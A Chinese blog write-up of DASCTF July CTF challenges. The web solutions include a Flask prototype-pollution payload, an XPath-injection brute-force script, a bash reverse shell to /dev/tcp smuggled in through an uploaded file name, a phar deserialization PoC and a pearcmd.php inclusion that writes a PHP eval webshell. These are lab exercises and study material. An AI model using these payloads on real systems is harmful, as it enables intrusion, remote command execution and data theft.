[DASCTF7月赛]（未完待续~）

最新推荐文章于 2024-08-25 12:49:51 发布
最新推荐文章于 2024-08-25 12:49:51 发布
阅读量301 收藏
点赞数
分类专栏： wp CTF 文章标签： 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_61839115/article/details/131899121
版权
CTF 同时被 2 个专栏收录
30 篇文章 2 订阅
订阅专栏
wp
23 篇文章 1 订阅
订阅专栏

文章目录

[DASCTF7月赛]

misc

Coffee desu!

hint1: Strange Protocol

image-20230724154636387

经过搜索，发现这个是一种恶搞协议：image-20230724155819170

自定义了一些请求方式

image-20230724155830547

结合首页英文：

You should add the milktea before getting the coffee!

我们需要使用BREW向服务器添加milktea

image-20230724155935139

返回：

The resource identified by the request is only capable of generating response entities which have content characteristics not acceptable according to the accept headers sent in the request.

image-20230724160051850

这个协议定义了：Accept-Additions头，于是我们添加上：milktea

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lIom1W9e-1690186880997)(https://raw.githubusercontent.com/leekosss/photoBed/master/202307241601658.png)]

添加之后我们使用GET将其取出：

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oQim0STO-1690186880998)(https://raw.githubusercontent.com/leekosss/photoBed/master/202307241602098.png)]

web

ezFlask

源码：

import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

这是一个flask框架的题，根路由是一个读文件函数，读取__file__里面的内容（源码），显示到首页

有一个check函数：遍历一下data中的值，如果在黑名单中就返回false，否则返回true

定义了一个user类，成员变量username、password初值为空，类中定义了一个check函数，如果与输入的data中的相等才返回true

写了一个merge函数，这个函数是重点：

这个函数的作用是将两个字典对象 src 和 dst 进行合并。它逐个遍历 src 中的键值对，并根据一定的规则将其合并到 dst 中。

具体来说，函数执行以下操作：

  1. 对于 src 中的每个键值对 (k, v)：

    • 如果 dst 是一个可索引的对象（如字典），并且 dst 中存在键 k，并且值类型 v 是字典类型，则使用递归调用 merge(v, dst[k]) 将 v 和 dst[k] 进行合并。
    • 否则，将 v 赋值给 dst 的键 k。

  2. 如果 dst 不是可索引的对象，而是一个具有属性的对象，则对于 src 中的每个键值对 (k, v)：

    • 如果 dst 拥有属性 k，并且值类型 v 是字典类型，则使用递归调用 merge(v, getattr(dst, k)) 将 v 和 dst 的属性 k 进行合并。
    • 否则，将 v 设置为 dst 的属性 k。

简而言之，该函数通过递归地合并两个字典对象的键值对，将 src 中的内容合并到 dst 中，确保最终的 dst 包含 src 的所有键值对。

需要注意的是，该函数对于嵌套的字典结构特别有用，因为它可以处理深层嵌套的情况。但请注意在使用时确保 src 和 dst 的数据结构是可变的（mutable），否则可能会导致意外的结果。

register路由：json类型数据需要通过check()函数检查，如果其中没有username、password则失败，否则创建一个用户，将data字典中的数据，添加到User字典中

这里主要需要关注这些代码

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
            
           
@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

这个题目乍一眼看好像无从下手，没有漏洞点，但是这里会产生类似覆盖的效果

经过搜索，知道了这是： Python原型链污染

文章里详细的讲述了，可以污染类中的属性值：

image-20230723230853867

这里我们截取到一段利用的payload：

{
    "__init__" : {
        "__globals__" : {
            "app" : {
                "config" : {
                    "SECRET_KEY" :"Polluted~"
                }
            }
        }
    }
}

这一段代码可以通过merge()自定义函数，污染flask中的SECRET_KEY

我们重新回到题目，分析一下我们实际可以污染根路由的文件的__file__属性，如果控制了这里就可以实现任意文件读取了

我们仿照上面的payload，构造出如下payload：

{
	"__init__": { 
        "__globals__": {
            "__file__":"app.py"
        }
    },
    "username":"admin",
    "password":"123"
}

这样就可以将__file__污染为app.py了，

但是经过尝试，发现失败了，原因是check()函数把__init__过滤了，没法用了

但是我们可以尝试编码绕过，json中可以使用unicode编码，我们使用cyberchef编码一下：

__init__

\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F

这样就可以绕过了，然后非预期就是读一下/proc/1/environ得到flag：

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Mzss4X4f-1690186881000)(https://raw.githubusercontent.com/leekosss/photoBed/master/202307232323420.png)]

image-20230723232318074

预期解是通过任意文件读取，伪造flask的pin码，然后命令执行查询到flag

MyPicDisk

首先通过万能密码登录：

' or 1 or '1

但是这里需要在用户名处输入：

image-20230724134855252

下载：/y0u_cant_find_1t.zip

得到：index.php：

<?php
session_start();
error_reporting(0);
class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
        if (preg_match("/\//i", $filename)){
            throw new Error("hacker!");
        }
        $num = substr_count($filename, ".");
        if ($num != 1){
            throw new Error("hacker!");
        }
        if (!is_file($filename)){
            throw new Error("???");
        }
        $this->filename = $filename;
        $this->size = filesize($filename);
        $this->lasttime = filemtime($filename);
    }
    public function remove(){
        unlink($this->filename);
    }
    public function show()
    {
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
    public function __destruct(){
        system("ls -all ".$this->filename);
    }
}
?>
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
  echo '
<form method="POST">
    username：<input type="text" name="username"></p>
    password：<input type="password" name="password"></p>
    <input type="submit" value="登录" name="submit"></p>
</form>
';
  $xml = simplexml_load_file('/tmp/secret.xml');
  if($_POST['submit']){
    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{$username}' and password='{$password}']";
    $result = $xml->xpath($x_query);
    if(count($result)==0){
      echo '登录失败';
    }else{
      $_SESSION['user'] = $username;
        echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }
  }
}
else{
    if ($_SESSION['user'] !== 'admin') {
        echo "<script>alert('you are not admin!!!!!');</script>";
        unset($_SESSION['user']);
        echo "<script>location.href='/index.php';</script>";
    }
  echo "<!-- /y0u_cant_find_1t.zip -->";
  if (!$_GET['file']) {
    foreach (scandir(".") as $filename) {
      if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
        echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
      }
    }
    echo '
  <form action="index.php" method="post" enctype="multipart/form-data">
  选择图片：<input type="file" name="file" id="">
  <input type="submit" value="上传"></form>
  ';
    if ($_FILES['file']) {
      $filename = $_FILES['file']['name'];
      if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
        die("hacker!");
      }
      if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
          echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
      } else {
        die('failed');
      }
    }
  }
  else{
      $filename = $_GET['file'];
      if ($_GET['todo'] === "md5"){
          echo md5_file($filename);
      }
      else {
          $file = new FILE($filename);
          if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
              echo "<img src='../" . $filename . "'><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
          } else if ($_GET['todo'] === "remove") {
              $file->remove();
              echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
          } else if ($_GET['todo'] === "show") {
              $file->show();
          }
      }
  }
}
?>
</body>
</html>

这里很明显需要知道：admin的密码才能够完成后续操作，

我们注意到这里：

$xml = simplexml_load_file('/tmp/secret.xml');
  if($_POST['submit']){
    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{$username}' and password='{$password}']";
    $result = $xml->xpath($x_query);
    if(count($result)==0){
      echo '登录失败';
    }else{
      $_SESSION['user'] = $username;
        echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }

这里对用户名处没有任何过滤就进行xpath查询，所以会导致xpath注入

xpath注入学习文章：https://xz.aliyun.com/t/7791?page=1#toc-0

由于这里密码被md5加密了，所以我们可以猜测密码为32位：

xpath查询语句如下：string-length代表查询字符串的长度

' or string-length((//user[position()=1]/password[position()=1]))=32 or '

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ii5yHL6c-1690186881002)(https://raw.githubusercontent.com/leekosss/photoBed/master/202307241356669.png)]

查询一下确实为32位

接下来写脚本查询password的值即可：

import string
import time
import requests

s = string.printable

url = "http://d27bfc8b-3545-410a-9e7a-7446c02e9290.node4.buuoj.cn:81/index.php"
flag = ""

for i in range(1, 100):
    for j in s:
        time.sleep(0.1)
        payload = "' or substring((//user[position()=1]/password[position()=1]),{},1)='{}' or '".format(i,j)
        data = {
            "username": payload,
            "password": "123",
            "submit": "%E7%99%BB%E5%BD%95"
        }
        res = requests.post(url, data=data)
        # print(res.text)
        if "成功" in res.text:
            flag += j
            print(flag)
            break
            
# 003d7628772d6b57fec5f30ccbc82be1

使用：https://www.somd5.com/解密：

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ebcOpDAO-1690186881003)(https://raw.githubusercontent.com/leekosss/photoBed/master/202307241359303.png)]

15035371139

接下来登录就可以文件上传了：

文件上传为白名单waf：

if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
        die("hacker!");
      }

FILE类中会对文件名进行检测，不能包含/和多个小数点

析构方法中命令执行：

public function __destruct(){
        system("ls -all ".$this->filename);
    }

我们可以利用它来反弹shell，首先上传一个文件名为：;a.jpg，内容为：

bash -i>& /dev/tcp/ip/9996 0>&1

然后再上传一个文件：;bash *a.jpg

点击这个文件就可以反弹shell了

也可以phar反序列化，没复现成功

<?php

class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
        $this->filename = $filename;
    }
}

$a = new FILE("/;cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd");
$phartest=new phar('phartest.phar',0);
$phartest->startBuffering();
$phartest->setMetadata($a);
$phartest->setStub("<?php __HALT_COMPILER();?>");
$phartest->addFromString("test.txt","test");
$phartest->stopBuffering();
ez_cms

熊海cms

image-20230724153506508

经过查询得知，熊海cms首页存在文件包含漏洞：

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

于是我们只要包含一个有用的文件即可，但这个有用的文件是什么呢？

这个文件是pearcmd.php，通过包含这个文件可以实现向服务器上写入shell进行rce的操作

可以参考：

  • https://tttang.com/archive/1312/#toc_0x06-pearcmdphp

  • https://y4tacker.github.io/2022/06/19/year/2022/6/%E5%85%B3%E4%BA%8Epearcmd%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/#%E5%88%A9%E7%94%A8

image-20230724154032451

我们直接构造：(注意顺序)

/?+config-create+/&r=../../../../../../../../../../../../usr/share/php/pearcmd&/<?=phpinfo();eval($_POST[1]);?>+/tmp/leekos.php

这里需要通过相对路径来找到pearcmd.php（注意最后不需要加上.php）

image-20230724154105538

成功写入，然后蚁剑包含拿flag

Tr4n
关注
专栏目录
DASCTF三月赛
weixin_44687621的博客
04-10 3263
DASCTF2022.3部分题目 Web ezpop 题目源码如下 <?php class crow { public $v1; public $v2; function eval() { echo new $this->v1($this->v2); } public function __invoke() { $this->v1->world(); } } class fin {
ElasticSearch从入门到精通，史上最全（持续更新，未完待续，每天一点点）
热门推荐
Null的博客
07-30 13万+
目录 1.ElasticSearch的简介 2.用数据库实现搜素的功能 3.ES的核心概念 3.1 NRT(Near Realtime)近实时 3.2 cluster集群，ES是一个分布式的系统 3.3 Node节点，就是集群中的一台服务器 3.4 index 索引（索引库） 3.5 type类型 3.6 document：文档 3.7 Field 字段 3.8 sha...
DASCTF
qq_53755216的博客
04-08 847
ez_serialize 题目网址： http://684f47cd-5c9d-41cb-ad29-98d48096cc9a.machine.dasctf.com/ <?php error_reporting(0); highlight_file(__FILE__); class A{ public $class; public $para; public $check; public function __construct() { $thi
[DASCTF2024八月开学季!] Crypto
Emmaaaaa's blog
08-25 1658
two_squares(n0)，矩阵phi，维纳连分数，HNP，中间相遇
[DASCTF][Java反序列化]easyjava简单分析
Y4tacker的博客
08-02 2664
文章目录写在前面easyjava推荐文章 写在前面 昨天题目环境似乎出了点小问题,咋也不好问,咋也不敢说,题目有意思,当然还有其他链子猜测jdbc应该也可以打,没试过太懒了 easyjava 首先下载源码发现Java版本是1.7的,先放这里 看看在evil路由下面,很明显是去触发反序列化,但是有过滤 ban了这么多,cc链基本上不用想了,一方面是低版本不起作用,另一方面Transformer被ban了,看来只能用TemplatesImpl去执行字节码试一试,想到了Java7U21反序列化(可以看我博客分
DASCTF：BitMap
末初的CSDN博客
10-14 1725
来源于今天一位师傅给的题目附件，从解出来的flag只知道是安恒的题目，但是具体哪里的就不清楚了，觉得题目还有记录一下的价值 BitMap文件很明显是bmp图片修改了BMP文件头和位图信息头，不过一些还原信息的必要数据位置还是给了出来的，比如位深度 详细的还原过程可以参考我之前给白帽子社区端午节活动的出的题目：白帽子社区端午节活动-白帽寻宝记-纪念屈原Writeup 这里可以添加一个后缀.bmp，然后使用010 Editor打开；借助010 Editor强大的插件分析功能，还是能显示出文件基本结构 可以.
DASCTF_Misc_holmes
Le1a's Blog
05-29 337
下载附件得到一张福尔摩斯的图片 上面有跳舞小人加密，通过对照表解密得到YOUAREHOLMES 用Foremost分离得到一个压缩包，用刚刚得到的YOUAREHOLMES作为密码解压得到一个python文件，打开得到一个程序 flag="flag{********************************}" encflag=[] for i in range(len(flag)): encflag.append((ord(flag[i])+i)%128) print(encflag) '
2015年高中语文优秀作文青春未完待续…素材
08-06
10. 青春的延续：尽管青春已逝，但它的精神和影响却可以"未完待续"，持续影响着我们的生活和决策。 总结，本文通过对青春的描绘，探讨了时间、成长、分别、记忆、诺言等主题，展现了青春的美好、脆弱和短暂，同时也...
9--[小黑点的旅行（未完待续）].zip源码scratch2.0 3.0编程项目源文件源码案例素材源代码
04-16
9--[小黑点的旅行（未完待续）].zip源码scratch2.0 3.0编程项目源文件源码案例素材源代码9--[小黑点的旅行（未完待续）].zip源码scratch2.0 3.0编程项目源文件源码案例素材源代码9--[小黑点的旅行（未完待续）].zip...
linux服务器性能调优文档（未完待续）
07-23
教程名称：linux服务器性能调优文档(未完待续)课程目录：linux服务器性能调优01linux服务器性能调优02linux服务器性能调优03linux服务器性能调优04linux服务器性能调优05linux服务器性能调优06linux服务器性能调优07...
k8s可视化平台(未完待续)
最新发布
11-03
在本地解压完后，将里面的tgz文件上传到主机
DASCTF 2022.4
weixin_44687621的博客
04-25 2759
Web warmup_php 查看主页源码如下 <?php spl_autoload_register(function($class){ require("./class/".$class.".php"); }); highlight_file(__FILE__); error_reporting(0); $action = $_GET['action']; $properties = $_POST['properties']; class Action{ public funct
DASCTF 虚假的签到
qq_45631641的博客
07-25 480
格式化字符串 栈溢出 调试得%2$x时为栈地址 from pwn import * context.log_level='debug' #sh=process('./qiandao') sh=remote('183.129.189.60','10013') sh.recv() sh.sendline('%2$x') t=sh.recv(8) print t sh.recv() sleep(0.2) print t x=int(t,16) ret=0x0804857D sh.sendline('a'*0x.
# Dasctf 7月赋能赛 WP
as you know, nlp is fantasitc!
07-27 598
每次通过比赛都能学到很多东西，对于之前的知识点有一知半解的地方重新认识了，比如ssti的盲注，以前只知道{{}}、{%%}能执行语句，但是没有想过他们的区别，通过一道ssti的题目就能更加深入地区分这两者的区别。...
【WP】DASCTF2021
車鈊的博客
06-06 874
补发WP ez_serialize 源码 <?php error_reporting(0); highlight_file(__FILE__); class A{ public $class; public $para; public $check; public function __construct() { $this->class = "B"; $this->para = "ctfer"; e
DASCTF X SU三月赛
Re_ly0n的博客
03-27 602
Ezpop 因为疫情学校周末开始补课了，昨天就中午看了看题，做了一个web,挺简单的简单记录下。利用链很好找。说下坑点吧。当用hackerbar传入cmd参数时要使用raw，如下 然后导致我以为是需要原生类进行反序列化。 利用链 fin::__destruct()---->what::__toString()----->fin::run----->crow::__invoke()----->fin::world()----->fin::__call()-----&g
安恒DASCTF 四月战 WP
笑花大王
05-03 1252
web1 打开提就是源码审计 考点:反序列化POP链、反序列化字符串逃逸 show_source("index.php"); function write($data) { return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); } function read($data) { return str_r...
DASCTF Apr.2023 X SU Writeup By AheadSec
末初的CSDN博客
04-23 5416
DASCTF Apr.2023 X SU Writeup By AheadSec
DASCTF2022九月赛-Crypto-easySignin
Altering_Ji的博客
09-21 1365
2022.9安恒月赛DASCTF密码学题目esaySignin的wp，涉及线性同余、借助SageMath求解同余方程等
MVC2.0框架商务网站代码未完待续
资源摘要信息:"MVC2.0" 在信息技术领域，MVC是一种常见的软件架构模式，全称为Model-View-Controller，即模型-视图-控制器。MVC模式将应用程序分为三个核心组件：模型(Model)、视图(View)和控制器(Controller)，...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值